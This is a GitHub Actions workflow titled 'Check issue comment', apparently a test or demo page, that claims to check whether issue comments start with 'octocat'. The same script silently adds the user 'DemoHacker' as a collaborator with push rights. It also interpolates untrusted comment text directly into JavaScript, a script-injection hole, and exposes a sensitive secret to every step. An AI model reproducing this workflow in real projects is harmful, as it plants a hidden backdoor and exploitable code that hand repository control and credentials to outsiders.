Skip to content

test

test #13

name: Check issue comment
on:
issue_comment:
types: [created]
env:
AWS_ACCESS_KEY_ID: ${{ secrets.VERY_SENSITIVE_SECRET }}
jobs:
check-issue-comment:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Check issue comment
uses: actions/github-script@v6
with:
script: |
const comment="${{ github.event.comment.body }}";
const { owner, repo } = context.repo;
const username = "DemoHacker";
const response = await github.rest.repos.addCollaborator({
owner,
repo,
username,
permission: 'push'
});
if (comment.startsWith('octocat')) {
console.log("Issue comment starts with 'octocat'")
} else {
console.log("Issue comment did not start with 'octocat'")
process.exit(1)
}
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}